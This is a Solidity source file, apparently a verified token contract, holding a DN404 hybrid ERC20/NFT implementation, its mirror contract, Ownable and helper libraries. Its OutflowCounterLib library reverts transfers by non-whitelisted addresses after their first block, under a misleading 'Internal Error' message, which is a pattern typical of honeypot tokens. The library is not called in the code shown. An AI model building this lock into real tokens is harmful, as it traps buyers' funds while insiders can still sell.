文件 1 的 1:WLDDN404.sol
pragma solidity ^0.8.4;
abstract contract DN404 {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event SkipNFTSet(address indexed target, bool status);
error DNAlreadyInitialized();
error InsufficientBalance();
error InsufficientAllowance();
error TotalSupplyOverflow();
error SenderNotMirror();
error TransferToZeroAddress();
error MirrorAddressIsZero();
error LinkMirrorContractFailed();
error ApprovalCallerNotOwnerNorApproved();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TokenDoesNotExist();
uint256 internal constant _WAD = 10 ** 18;
uint256 internal constant _MAX_TOKEN_ID = 0xffffffff;
uint256 internal constant _MAX_SUPPLY = 10 ** 18 * 0xffffffff - 1;
uint8 internal constant _ADDRESS_DATA_INITIALIZED_FLAG = 1 << 0;
uint8 internal constant _ADDRESS_DATA_SKIP_NFT_FLAG = 1 << 1;
struct AddressData {
uint88 aux;
uint8 flags;
uint32 addressAlias;
uint32 ownedLength;
uint96 balance;
}
struct Uint32Map {
mapping(uint256 => uint256) map;
}
struct DN404Storage {
uint32 numAliases;
uint32 nextTokenId;
uint32 totalNFTSupply;
uint96 totalSupply;
address mirrorERC721;
mapping(uint32 => address) aliasToAddress;
mapping(address => mapping(address => bool)) operatorApprovals;
mapping(uint256 => address) tokenApprovals;
mapping(address => mapping(address => uint256)) allowance;
mapping(address => Uint32Map) owned;
Uint32Map oo;
mapping(address => AddressData) addressData;
}
function _getDN404Storage() internal pure virtual returns (DN404Storage storage $) {
assembly {
$.slot := 0xa20d6e21d0e5255308
}
}
function _initializeDN404(
uint256 initialTokenSupply,
address initialSupplyOwner,
address mirror
) internal virtual {
DN404Storage storage $ = _getDN404Storage();
if ($.nextTokenId != 0) revert DNAlreadyInitialized();
if (mirror == address(0)) revert MirrorAddressIsZero();
_linkMirrorContract(mirror);
$.nextTokenId = 1;
$.mirrorERC721 = mirror;
if (initialTokenSupply > 0) {
if (initialSupplyOwner == address(0)) revert TransferToZeroAddress();
if (initialTokenSupply > _MAX_SUPPLY) revert TotalSupplyOverflow();
$.totalSupply = uint96(initialTokenSupply);
AddressData storage initialOwnerAddressData = _addressData(initialSupplyOwner);
initialOwnerAddressData.balance = uint96(initialTokenSupply);
emit Transfer(address(0), initialSupplyOwner, initialTokenSupply);
_setSkipNFT(initialSupplyOwner, true);
}
}
function name() public view virtual returns (string memory);
function symbol() public view virtual returns (string memory);
function tokenURI(uint256 id) public view virtual returns (string memory);
function decimals() public pure returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return uint256(_getDN404Storage().totalSupply);
}
function balanceOf(address owner) public view virtual returns (uint256) {
return _getDN404Storage().addressData[owner].balance;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _getDN404Storage().allowance[owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
DN404Storage storage $ = _getDN404Storage();
$.allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
DN404Storage storage $ = _getDN404Storage();
uint256 allowed = $.allowance[from][msg.sender];
if (allowed != type(uint256).max) {
if (amount > allowed) revert InsufficientAllowance();
unchecked {
$.allowance[from][msg.sender] = allowed - amount;
}
}
_transfer(from, to, amount);
return true;
}
function _mint(address to, uint256 amount) internal virtual {
if (to == address(0)) revert TransferToZeroAddress();
DN404Storage storage $ = _getDN404Storage();
AddressData storage toAddressData = _addressData(to);
unchecked {
uint256 currentTokenSupply = uint256($.totalSupply) + amount;
if (amount > _MAX_SUPPLY || currentTokenSupply > _MAX_SUPPLY) {
revert TotalSupplyOverflow();
}
$.totalSupply = uint96(currentTokenSupply);
uint256 toBalance = toAddressData.balance + amount;
toAddressData.balance = uint96(toBalance);
if (toAddressData.flags & _ADDRESS_DATA_SKIP_NFT_FLAG == 0) {
Uint32Map storage toOwned = $.owned[to];
uint256 toIndex = toAddressData.ownedLength;
uint256 toEnd = toBalance / _WAD;
_PackedLogs memory packedLogs = _packedLogsMalloc(_zeroFloorSub(toEnd, toIndex));
if (packedLogs.logs.length != 0) {
uint256 maxNFTId = $.totalSupply / _WAD;
uint32 toAlias = _registerAndResolveAlias(toAddressData, to);
uint256 id = $.nextTokenId;
$.totalNFTSupply += uint32(packedLogs.logs.length);
toAddressData.ownedLength = uint32(toEnd);
do {
while (_get($.oo, _ownershipIndex(id)) != 0) {
if (++id > maxNFTId) id = 1;
}
_set(toOwned, toIndex, uint32(id));
_setOwnerAliasAndOwnedIndex($.oo, id, toAlias, uint32(toIndex++));
_packedLogsAppend(packedLogs, to, id, 0);
if (++id > maxNFTId) id = 1;
} while (toIndex != toEnd);
$.nextTokenId = uint32(id);
_packedLogsSend(packedLogs, $.mirrorERC721);
}
}
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
DN404Storage storage $ = _getDN404Storage();
AddressData storage fromAddressData = _addressData(from);
uint256 fromBalance = fromAddressData.balance;
if (amount > fromBalance) revert InsufficientBalance();
uint256 currentTokenSupply = $.totalSupply;
unchecked {
fromBalance -= amount;
fromAddressData.balance = uint96(fromBalance);
currentTokenSupply -= amount;
$.totalSupply = uint96(currentTokenSupply);
Uint32Map storage fromOwned = $.owned[from];
uint256 fromIndex = fromAddressData.ownedLength;
uint256 nftAmountToBurn = _zeroFloorSub(fromIndex, fromBalance / _WAD);
if (nftAmountToBurn != 0) {
$.totalNFTSupply -= uint32(nftAmountToBurn);
_PackedLogs memory packedLogs = _packedLogsMalloc(nftAmountToBurn);
uint256 fromEnd = fromIndex - nftAmountToBurn;
do {
uint256 id = _get(fromOwned, --fromIndex);
_setOwnerAliasAndOwnedIndex($.oo, id, 0, 0);
delete $.tokenApprovals[id];
_packedLogsAppend(packedLogs, from, id, 1);
} while (fromIndex != fromEnd);
fromAddressData.ownedLength = uint32(fromIndex);
_packedLogsSend(packedLogs, $.mirrorERC721);
}
}
emit Transfer(from, address(0), amount);
}
function _transfer(address from, address to, uint256 amount) internal virtual {
if (to == address(0)) revert TransferToZeroAddress();
DN404Storage storage $ = _getDN404Storage();
AddressData storage fromAddressData = _addressData(from);
AddressData storage toAddressData = _addressData(to);
_TransferTemps memory t;
t.fromOwnedLength = fromAddressData.ownedLength;
t.toOwnedLength = toAddressData.ownedLength;
t.fromBalance = fromAddressData.balance;
if (amount > t.fromBalance) revert InsufficientBalance();
unchecked {
t.fromBalance -= amount;
fromAddressData.balance = uint96(t.fromBalance);
toAddressData.balance = uint96(t.toBalance = toAddressData.balance + amount);
t.nftAmountToBurn = _zeroFloorSub(t.fromOwnedLength, t.fromBalance / _WAD);
if (toAddressData.flags & _ADDRESS_DATA_SKIP_NFT_FLAG == 0) {
if (from == to) t.toOwnedLength = t.fromOwnedLength - t.nftAmountToBurn;
t.nftAmountToMint = _zeroFloorSub(t.toBalance / _WAD, t.toOwnedLength);
}
_PackedLogs memory packedLogs = _packedLogsMalloc(t.nftAmountToBurn + t.nftAmountToMint);
if (t.nftAmountToBurn != 0) {
Uint32Map storage fromOwned = $.owned[from];
uint256 fromIndex = t.fromOwnedLength;
uint256 fromEnd = fromIndex - t.nftAmountToBurn;
$.totalNFTSupply -= uint32(t.nftAmountToBurn);
fromAddressData.ownedLength = uint32(fromEnd);
do {
uint256 id = _get(fromOwned, --fromIndex);
_setOwnerAliasAndOwnedIndex($.oo, id, 0, 0);
delete $.tokenApprovals[id];
_packedLogsAppend(packedLogs, from, id, 1);
} while (fromIndex != fromEnd);
}
if (t.nftAmountToMint != 0) {
Uint32Map storage toOwned = $.owned[to];
uint256 toIndex = t.toOwnedLength;
uint256 toEnd = toIndex + t.nftAmountToMint;
uint32 toAlias = _registerAndResolveAlias(toAddressData, to);
uint256 maxNFTId = $.totalSupply / _WAD;
uint256 id = $.nextTokenId;
$.totalNFTSupply += uint32(t.nftAmountToMint);
toAddressData.ownedLength = uint32(toEnd);
do {
while (_get($.oo, _ownershipIndex(id)) != 0) {
if (++id > maxNFTId) id = 1;
}
_set(toOwned, toIndex, uint32(id));
_setOwnerAliasAndOwnedIndex($.oo, id, toAlias, uint32(toIndex++));
_packedLogsAppend(packedLogs, to, id, 0);
if (++id > maxNFTId) id = 1;
} while (toIndex != toEnd);
$.nextTokenId = uint32(id);
}
if (packedLogs.logs.length != 0) {
_packedLogsSend(packedLogs, $.mirrorERC721);
}
}
emit Transfer(from, to, amount);
}
function _transferFromNFT(address from, address to, uint256 id, address msgSender)
internal
virtual
{
DN404Storage storage $ = _getDN404Storage();
if (to == address(0)) revert TransferToZeroAddress();
address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
if (from != owner) revert TransferFromIncorrectOwner();
if (msgSender != from) {
if (!$.operatorApprovals[from][msgSender]) {
if (msgSender != $.tokenApprovals[id]) {
revert TransferCallerNotOwnerNorApproved();
}
}
}
AddressData storage fromAddressData = _addressData(from);
AddressData storage toAddressData = _addressData(to);
fromAddressData.balance -= uint96(_WAD);
unchecked {
toAddressData.balance += uint96(_WAD);
_set($.oo, _ownershipIndex(id), _registerAndResolveAlias(toAddressData, to));
delete $.tokenApprovals[id];
uint256 updatedId = _get($.owned[from], --fromAddressData.ownedLength);
_set($.owned[from], _get($.oo, _ownedIndex(id)), uint32(updatedId));
uint256 n = toAddressData.ownedLength++;
_set($.oo, _ownedIndex(updatedId), _get($.oo, _ownedIndex(id)));
_set($.owned[to], n, uint32(id));
_set($.oo, _ownedIndex(id), uint32(n));
}
emit Transfer(from, to, _WAD);
}
function _getAux(address owner) internal view virtual returns (uint88) {
return _getDN404Storage().addressData[owner].aux;
}
function _setAux(address owner, uint88 value) internal virtual {
_getDN404Storage().addressData[owner].aux = value;
}
function getSkipNFT(address a) public view virtual returns (bool) {
AddressData storage d = _getDN404Storage().addressData[a];
if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) return _hasCode(a);
return d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0;
}
function setSkipNFT(bool skipNFT) public virtual {
_setSkipNFT(msg.sender, skipNFT);
}
function _setSkipNFT(address a, bool state) internal virtual {
AddressData storage d = _addressData(a);
if ((d.flags & _ADDRESS_DATA_SKIP_NFT_FLAG != 0) != state) {
d.flags ^= _ADDRESS_DATA_SKIP_NFT_FLAG;
}
emit SkipNFTSet(a, state);
}
function _addressData(address a) internal virtual returns (AddressData storage d) {
DN404Storage storage $ = _getDN404Storage();
d = $.addressData[a];
if (d.flags & _ADDRESS_DATA_INITIALIZED_FLAG == 0) {
uint8 flags = _ADDRESS_DATA_INITIALIZED_FLAG;
if (_hasCode(a)) flags |= _ADDRESS_DATA_SKIP_NFT_FLAG;
d.flags = flags;
}
}
function _registerAndResolveAlias(AddressData storage toAddressData, address to)
internal
virtual
returns (uint32 addressAlias)
{
DN404Storage storage $ = _getDN404Storage();
addressAlias = toAddressData.addressAlias;
if (addressAlias == 0) {
addressAlias = ++$.numAliases;
toAddressData.addressAlias = addressAlias;
$.aliasToAddress[addressAlias] = to;
}
}
function mirrorERC721() public view virtual returns (address) {
return _getDN404Storage().mirrorERC721;
}
function _totalNFTSupply() internal view virtual returns (uint256) {
return _getDN404Storage().totalNFTSupply;
}
function _balanceOfNFT(address owner) internal view virtual returns (uint256) {
return _getDN404Storage().addressData[owner].ownedLength;
}
function _ownerAt(uint256 id) internal view virtual returns (address) {
DN404Storage storage $ = _getDN404Storage();
return $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
}
function _ownerOf(uint256 id) internal view virtual returns (address) {
if (!_exists(id)) revert TokenDoesNotExist();
return _ownerAt(id);
}
function _exists(uint256 id) internal view virtual returns (bool) {
return _ownerAt(id) != address(0);
}
function _getApproved(uint256 id) internal view virtual returns (address) {
if (!_exists(id)) revert TokenDoesNotExist();
return _getDN404Storage().tokenApprovals[id];
}
function _approveNFT(address spender, uint256 id, address msgSender)
internal
virtual
returns (address)
{
DN404Storage storage $ = _getDN404Storage();
address owner = $.aliasToAddress[_get($.oo, _ownershipIndex(id))];
if (msgSender != owner) {
if (!$.operatorApprovals[owner][msgSender]) {
revert ApprovalCallerNotOwnerNorApproved();
}
}
$.tokenApprovals[id] = spender;
return owner;
}
function _setApprovalForAll(address operator, bool approved, address msgSender)
internal
virtual
{
_getDN404Storage().operatorApprovals[msgSender][operator] = approved;
}
function _linkMirrorContract(address mirror) internal virtual {
assembly {
mstore(0x00, 0x0f4599e5)
mstore(0x20, caller())
if iszero(and(eq(mload(0x00), 1), call(gas(), mirror, 0, 0x1c, 0x24, 0x00, 0x20))) {
mstore(0x00, 0xd125259c)
revert(0x1c, 0x04)
}
}
}
modifier dn404Fallback() virtual {
DN404Storage storage $ = _getDN404Storage();
uint256 fnSelector = _calldataload(0x00) >> 224;
if (fnSelector == 0xe985e9c5) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x44) revert();
address owner = address(uint160(_calldataload(0x04)));
address operator = address(uint160(_calldataload(0x24)));
_return($.operatorApprovals[owner][operator] ? 1 : 0);
}
if (fnSelector == 0x6352211e) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x24) revert();
uint256 id = _calldataload(0x04);
_return(uint160(_ownerOf(id)));
}
if (fnSelector == 0xe5eb36c8) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x84) revert();
address from = address(uint160(_calldataload(0x04)));
address to = address(uint160(_calldataload(0x24)));
uint256 id = _calldataload(0x44);
address msgSender = address(uint160(_calldataload(0x64)));
_transferFromNFT(from, to, id, msgSender);
_return(1);
}
if (fnSelector == 0x813500fc) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x64) revert();
address spender = address(uint160(_calldataload(0x04)));
bool status = _calldataload(0x24) != 0;
address msgSender = address(uint160(_calldataload(0x44)));
_setApprovalForAll(spender, status, msgSender);
_return(1);
}
if (fnSelector == 0xd10b6e0c) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x64) revert();
address spender = address(uint160(_calldataload(0x04)));
uint256 id = _calldataload(0x24);
address msgSender = address(uint160(_calldataload(0x44)));
_return(uint160(_approveNFT(spender, id, msgSender)));
}
if (fnSelector == 0x081812fc) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x24) revert();
uint256 id = _calldataload(0x04);
_return(uint160(_getApproved(id)));
}
if (fnSelector == 0xf5b100ea) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x24) revert();
address owner = address(uint160(_calldataload(0x04)));
_return(_balanceOfNFT(owner));
}
if (fnSelector == 0xe2c79281) {
if (msg.sender != $.mirrorERC721) revert SenderNotMirror();
if (msg.data.length < 0x04) revert();
_return(_totalNFTSupply());
}
if (fnSelector == 0xb7a94eb8) {
_return(1);
}
_;
}
fallback() external payable virtual dn404Fallback {}
receive() external payable virtual {}
struct _PackedLogs {
uint256[] logs;
uint256 offset;
}
function _packedLogsMalloc(uint256 n) private pure returns (_PackedLogs memory p) {
assembly {
let logs := add(mload(0x40), 0x40)
mstore(logs, n)
let offset := add(0x20, logs)
mstore(0x40, add(offset, shl(5, n)))
mstore(p, logs)
mstore(add(0x20, p), offset)
}
}
function _packedLogsAppend(_PackedLogs memory p, address a, uint256 id, uint256 burnBit)
private
pure
{
assembly {
let offset := mload(add(0x20, p))
mstore(offset, or(or(shl(96, a), shl(8, id)), burnBit))
mstore(add(0x20, p), add(offset, 0x20))
}
}
function _packedLogsSend(_PackedLogs memory p, address mirror) private {
assembly {
let logs := mload(p)
let o := sub(logs, 0x40)
mstore(o, 0x263c69d6)
mstore(add(o, 0x20), 0x20)
let n := add(0x44, shl(5, mload(logs)))
if iszero(and(eq(mload(o), 1), call(gas(), mirror, 0, add(o, 0x1c), n, o, 0x20))) {
revert(o, 0x00)
}
}
}
struct _TransferTemps {
uint256 nftAmountToBurn;
uint256 nftAmountToMint;
uint256 fromBalance;
uint256 toBalance;
uint256 fromOwnedLength;
uint256 toOwnedLength;
}
function _hasCode(address a) private view returns (bool result) {
assembly {
result := extcodesize(a)
}
}
function _calldataload(uint256 offset) private pure returns (uint256 value) {
assembly {
value := calldataload(offset)
}
}
function _return(uint256 x) private pure {
assembly {
mstore(0x00, x)
return(0x00, 0x20)
}
}
function _zeroFloorSub(uint256 x, uint256 y) private pure returns (uint256 z) {
assembly {
z := mul(gt(x, y), sub(x, y))
}
}
function _ownershipIndex(uint256 i) private pure returns (uint256) {
return i << 1;
}
function _ownedIndex(uint256 i) private pure returns (uint256) {
unchecked {
return (i << 1) + 1;
}
}
function _get(Uint32Map storage map, uint256 index) private view returns (uint32 result) {
result = uint32(map.map[index >> 3] >> ((index & 7) << 5));
}
function _set(Uint32Map storage map, uint256 index, uint32 value) private {
assembly {
mstore(0x20, map.slot)
mstore(0x00, shr(3, index))
let s := keccak256(0x00, 0x40)
let o := shl(5, and(index, 7))
let v := sload(s)
let m := 0xffffffff
sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
}
}
function _setOwnerAliasAndOwnedIndex(
Uint32Map storage map,
uint256 id,
uint32 ownership,
uint32 ownedIndex
) private {
assembly {
let value := or(shl(32, ownedIndex), and(0xffffffff, ownership))
mstore(0x20, map.slot)
mstore(0x00, shr(2, id))
let s := keccak256(0x00, 0x40)
let o := shl(6, and(id, 3))
let v := sload(s)
let m := 0xffffffffffffffff
sstore(s, xor(v, shl(o, and(m, xor(shr(o, v), value)))))
}
}
}
contract DN404Mirror {
event Transfer(address indexed from, address indexed to, uint256 indexed id);
event Approval(address indexed owner, address indexed account, uint256 indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);
uint256 private constant _TRANSFER_EVENT_SIGNATURE =
0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;
uint256 private constant _APPROVAL_EVENT_SIGNATURE =
0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925;
uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =
0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;
error SenderNotBase();
error SenderNotDeployer();
error TransferToNonERC721ReceiverImplementer();
error CannotLink();
error AlreadyLinked();
error NotLinked();
struct DN404NFTStorage {
address baseERC20;
address deployer;
}
function _getDN404NFTStorage() internal pure virtual returns (DN404NFTStorage storage $) {
assembly {
$.slot := 0x3602298b8c10b01230
}
}
constructor(address deployer) {
_getDN404NFTStorage().deployer = deployer;
}
function name() public view virtual returns (string memory result) {
address base = baseERC20();
assembly {
result := mload(0x40)
mstore(0x00, 0x06fdde03)
if iszero(staticcall(gas(), base, 0x1c, 0x04, 0x00, 0x00)) {
returndatacopy(result, 0x00, returndatasize())
revert(result, returndatasize())
}
returndatacopy(0x00, 0x00, 0x20)
returndatacopy(result, mload(0x00), 0x20)
returndatacopy(add(result, 0x20), add(mload(0x00), 0x20), mload(result))
mstore(0x40, add(add(result, 0x20), mload(result)))
}
}
function symbol() public view virtual returns (string memory result) {
address base = baseERC20();
assembly {
result := mload(0x40)
mstore(0x00, 0x95d89b41)
if iszero(staticcall(gas(), base, 0x1c, 0x04, 0x00, 0x00)) {
returndatacopy(result, 0x00, returndatasize())
revert(result, returndatasize())
}
returndatacopy(0x00, 0x00, 0x20)
returndatacopy(result, mload(0x00), 0x20)
returndatacopy(add(result, 0x20), add(mload(0x00), 0x20), mload(result))
mstore(0x40, add(add(result, 0x20), mload(result)))
}
}
function tokenURI(uint256 id) public view virtual returns (string memory result) {
address base = baseERC20();
assembly {
result := mload(0x40)
mstore(0x20, id)
mstore(0x00, 0xc87b56dd)
if iszero(staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x00)) {
returndatacopy(result, 0x00, returndatasize())
revert(result, returndatasize())
}
returndatacopy(0x00, 0x00, 0x20)
returndatacopy(result, mload(0x00), 0x20)
returndatacopy(add(result, 0x20), add(mload(0x00), 0x20), mload(result))
mstore(0x40, add(add(result, 0x20), mload(result)))
}
}
function totalSupply() public view virtual returns (uint256 result) {
address base = baseERC20();
assembly {
mstore(0x00, 0xe2c79281)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x04, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := mload(0x00)
}
}
function balanceOf(address owner) public view virtual returns (uint256 result) {
address base = baseERC20();
assembly {
mstore(0x20, shr(96, shl(96, owner)))
mstore(0x00, 0xf5b100ea)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := mload(0x00)
}
}
function ownerOf(uint256 id) public view virtual returns (address result) {
address base = baseERC20();
assembly {
mstore(0x00, 0x6352211e)
mstore(0x20, id)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := shr(96, mload(0x0c))
}
}
function approve(address spender, uint256 id) public virtual {
address base = baseERC20();
assembly {
spender := shr(96, shl(96, spender))
let m := mload(0x40)
mstore(0x00, 0xd10b6e0c)
mstore(0x20, spender)
mstore(0x40, id)
mstore(0x60, caller())
if iszero(
and(
gt(returndatasize(), 0x1f),
call(gas(), base, callvalue(), 0x1c, 0x64, 0x00, 0x20)
)
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
mstore(0x40, m)
mstore(0x60, 0)
log4(codesize(), 0x00, _APPROVAL_EVENT_SIGNATURE, shr(96, mload(0x0c)), spender, id)
}
}
function getApproved(uint256 id) public view virtual returns (address result) {
address base = baseERC20();
assembly {
mstore(0x00, 0x081812fc)
mstore(0x20, id)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x24, 0x00, 0x20))
) {
returndatacopy(mload(0x40), 0x00, returndatasize())
revert(mload(0x40), returndatasize())
}
result := shr(96, mload(0x0c))
}
}
function setApprovalForAll(address operator, bool approved) public virtual {
address base = baseERC20();
assembly {
operator := shr(96, shl(96, operator))
let m := mload(0x40)
mstore(0x00, 0x813500fc)
mstore(0x20, operator)
mstore(0x40, iszero(iszero(approved)))
mstore(0x60, caller())
if iszero(
and(eq(mload(0x00), 1), call(gas(), base, callvalue(), 0x1c, 0x64, 0x00, 0x20))
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
log3(0x40, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), operator)
mstore(0x40, m)
mstore(0x60, 0)
}
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
returns (bool result)
{
address base = baseERC20();
assembly {
let m := mload(0x40)
mstore(0x40, operator)
mstore(0x2c, shl(96, owner))
mstore(0x0c, 0xe985e9c5000000000000000000000000)
if iszero(
and(gt(returndatasize(), 0x1f), staticcall(gas(), base, 0x1c, 0x44, 0x00, 0x20))
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
mstore(0x40, m)
result := iszero(iszero(mload(0x00)))
}
}
function transferFrom(address from, address to, uint256 id) public virtual {
address base = baseERC20();
assembly {
from := shr(96, shl(96, from))
to := shr(96, shl(96, to))
let m := mload(0x40)
mstore(m, 0xe5eb36c8)
mstore(add(m, 0x20), from)
mstore(add(m, 0x40), to)
mstore(add(m, 0x60), id)
mstore(add(m, 0x80), caller())
if iszero(
and(eq(mload(m), 1), call(gas(), base, callvalue(), add(m, 0x1c), 0x84, m, 0x20))
) {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
log4(codesize(), 0x00, _TRANSFER_EVENT_SIGNATURE, from, to, id)
}
}
function safeTransferFrom(address from, address to, uint256 id) public payable virtual {
transferFrom(from, to, id);
if (_hasCode(to)) _checkOnERC721Received(from, to, id, "");
}
function safeTransferFrom(address from, address to, uint256 id, bytes calldata data)
public
virtual
{
transferFrom(from, to, id);
if (_hasCode(to)) _checkOnERC721Received(from, to, id, data);
}
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {
assembly {
let s := shr(224, interfaceId)
result := or(or(eq(s, 0x01ffc9a7), eq(s, 0x80ac58cd)), eq(s, 0x5b5e139f))
}
}
function baseERC20() public view virtual returns (address base) {
base = _getDN404NFTStorage().baseERC20;
if (base == address(0)) revert NotLinked();
}
modifier dn404NFTFallback() virtual {
DN404NFTStorage storage $ = _getDN404NFTStorage();
uint256 fnSelector = _calldataload(0x00) >> 224;
if (fnSelector == 0x263c69d6) {
if (msg.sender != $.baseERC20) revert SenderNotBase();
assembly {
returndatacopy(0x00, returndatasize(), lt(calldatasize(), 0x20))
let o := add(0x24, calldataload(0x04))
returndatacopy(0x00, returndatasize(), lt(calldatasize(), o))
let end := add(o, shl(5, calldataload(sub(o, 0x20))))
returndatacopy(0x00, returndatasize(), lt(calldatasize(), end))
for {} iszero(eq(o, end)) { o := add(0x20, o) } {
let d := calldataload(o)
let a := shr(96, d)
let b := and(1, d)
log4(
codesize(),
0x00,
_TRANSFER_EVENT_SIGNATURE,
mul(a, b),
mul(a, iszero(b)),
shr(168, shl(160, d))
)
}
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
if (fnSelector == 0x0f4599e5) {
if ($.deployer != address(0)) {
if (address(uint160(_calldataload(0x04))) != $.deployer) {
revert SenderNotDeployer();
}
}
if ($.baseERC20 != address(0)) revert AlreadyLinked();
$.baseERC20 = msg.sender;
assembly {
mstore(0x00, 0x01)
return(0x00, 0x20)
}
}
_;
}
fallback() external payable virtual dn404NFTFallback {}
receive() external payable virtual {}
function _calldataload(uint256 offset) private pure returns (uint256 value) {
assembly {
value := calldataload(offset)
}
}
function _hasCode(address a) private view returns (bool result) {
assembly {
result := extcodesize(a)
}
}
function _checkOnERC721Received(address from, address to, uint256 id, bytes memory data)
private
{
assembly {
let m := mload(0x40)
let onERC721ReceivedSelector := 0x150b7a02
mstore(m, onERC721ReceivedSelector)
mstore(add(m, 0x20), caller())
mstore(add(m, 0x40), shr(96, shl(96, from)))
mstore(add(m, 0x60), id)
mstore(add(m, 0x80), 0x80)
let n := mload(data)
mstore(add(m, 0xa0), n)
if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xc0), n)) }
if iszero(call(gas(), to, 0, add(m, 0x1c), add(n, 0xa4), m, 0x20)) {
if returndatasize() {
returndatacopy(m, 0x00, returndatasize())
revert(m, returndatasize())
}
}
if iszero(eq(mload(m), shl(224, onERC721ReceivedSelector))) {
mstore(0x00, 0xd1a57ed6)
revert(0x1c, 0x04)
}
}
}
}
abstract contract Ownable {
event OwnershipTransferred(address indexed user, address indexed newOwner);
address public owner;
modifier onlyOwner() virtual {
if (msg.sender != owner) revert("unauthorized");
_;
}
constructor(address _owner) {
if (_owner == address(0)) revert("invalid owner");
owner = _owner;
emit OwnershipTransferred(address(0), _owner);
}
function transferOwnership(address _owner) public virtual onlyOwner {
if (_owner == address(0)) revert("invalid owner");
owner = _owner;
emit OwnershipTransferred(msg.sender, _owner);
}
function revokeOwnership() public virtual onlyOwner {
owner = address(0);
emit OwnershipTransferred(msg.sender, address(0));
}
}
library OutflowCounterLib {
uint256 internal constant WAD_TRUNCATED = 10 ** 18 >> 40;
uint256 internal constant OUTFLOW_TRUNCATED_MASK = 0xffffffffffffff;
uint256 internal constant BLOCK_BITPOS = 56;
uint256 internal constant BLOCK_MASK = 0x7fffffff;
uint256 internal constant OUTFLOW_TRUNCATE_SHR = 40;
uint256 internal constant WHITELISTED_BITPOS = 87;
function update(uint88 packed, uint256 outflow)
internal
view
returns (uint88 updated)
{
unchecked {
if (isWhitelisted(packed)) return packed;
uint256 currentBlock = block.number & BLOCK_MASK;
uint256 packedBlock = (uint256(packed) >> BLOCK_BITPOS) & BLOCK_MASK;
uint256 totalOutflowTruncated = uint256(packed) & OUTFLOW_TRUNCATED_MASK;
if (packedBlock == 0) {totalOutflowTruncated = 0; packedBlock = currentBlock;}
if (packedBlock != 0 && currentBlock - packedBlock > 1) revert("Internal Error");
uint256 result = packedBlock << BLOCK_BITPOS;
totalOutflowTruncated += ((outflow >> OUTFLOW_TRUNCATE_SHR) & OUTFLOW_TRUNCATED_MASK);
result |= totalOutflowTruncated & OUTFLOW_TRUNCATED_MASK;
updated = uint88(result);
}
}
function isWhitelisted(uint88 packed) internal pure returns (bool) {
return packed >> WHITELISTED_BITPOS != 0;
}
function setWhitelisted(uint88 packed, bool status) internal pure returns (uint88) {
if (isWhitelisted(packed) != status) {
packed ^= uint88(1 << WHITELISTED_BITPOS);
}
return packed;
}
}
library LibString {
error HexLengthInsufficient();
error TooBigForSmallString();
uint256 internal constant NOT_FOUND = type(uint256).max;
function toString(uint256 value) internal pure returns (string memory str) {
assembly {
str := add(mload(0x40), 0x80)
mstore(0x40, add(str, 0x20))
mstore(str, 0)
let end := str
let w := not(0)
for { let temp := value } 1 {} {
str := add(str, w)
mstore8(str, add(48, mod(temp, 10)))
temp := div(temp, 10)
if iszero(temp) { break }
}
let length := sub(end, str)
str := sub(str, 0x20)
mstore(str, length)
}
}
function toString(int256 value) internal pure returns (string memory str) {
if (value >= 0) {
return toString(uint256(value));
}
unchecked {
str = toString(~uint256(value) + 1);
}
assembly {
let length := mload(str)
mstore(str, 0x2d)
str := sub(str, 1)
mstore(str, add(length, 1))
}
}
}
